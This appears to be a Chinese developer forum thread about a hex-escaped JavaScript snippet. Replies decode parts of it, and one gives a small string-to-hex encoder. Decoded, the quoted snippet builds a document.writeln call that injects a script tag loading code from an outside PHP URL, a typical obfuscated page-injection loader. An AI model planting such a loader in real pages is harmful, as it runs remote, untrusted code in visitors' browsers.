这不是什么加密
var $a = "\x64\x6f\x63\x75\x6d\x65\x6e\x74";
var $b = "\x77\x72\x69\x74\x65\x6c\x6e";
var $c = "\x3c\x73\x63\x72\x69\x70\x74 \x6c\x61\x6e\x67\x75\x61\x67\x65\x3d\"\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\" \x73\x72\x63\x3d\"\x68\x74\x74\x70\x3a\x2f\x2f\x67\x67\x2e\x33\x36\x30\x62\x6f\x2e\x63\x6f\x6d\x2f\x78\x32\x2e\x70\x68\x70\"\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e";

解决方案 »

  1.   

    alert("\x64\x6f\x63\x75\x6d\x65\x6e\x74")//document
    alert("\x77\x72\x69\x74\x65\x6c\x6e")//writeln16进制编码而已
      

  2.   

    我下载了一个UltraEdit 进入16进制编辑    怎么是这样的,为什么不是不是上面的状态啊?
      

  3.   

    怎么不是
    \x3a\x2f\x2f\x67\x67\x2e\x33\x36\x30\x62\x6f\x2e\x63\x6f\x6d\x2f\x78\
      

  4.   

    <script>
    function sToHex(str){
      var val="";
      for(var i = 0; i < str.length; i++){
        if(val == "")val = '\\x'+str.charCodeAt(i).toString(16);
        else val +=  '\\x' + str.charCodeAt(i).toString(16);
      }
      return val;  
    }
    </script>
    <b>要编码的字符串</b><br/>
    <textarea id="taSource" cols="30" rows="5">coding123.net</textarea><br/>
    <b>javascript编码后的16进制内容</b><br/>
    <textarea id="taRst" cols="30" rows="5"></textarea><br/>
    <input type="button" value="将字符串编码为16进制字符串" onclick="document.getElementById('taRst').value=sToHex(document.getElementById('taSource').value)"/>
      

  5.   

     请问你这段跟我用UltraEdit编辑器生成的16进制有什么关系?
      

  6.   

    这不是你的 
    \x3c\x73\x63\x72\x69\x70\x74 \x6c\x61\x6e\x67\x75\x61\x67\x65\x3d\"\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\" \x73\x72\x63\x3d\"\x68\x74\x74\x70\x3a\x2f\x2f\x67\x67\x2e\x33\x36\x30\x62\x6f\x2e\x63\x6f\x6d\x2f\x78\x32\x2e\x70\x68\x70\"\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e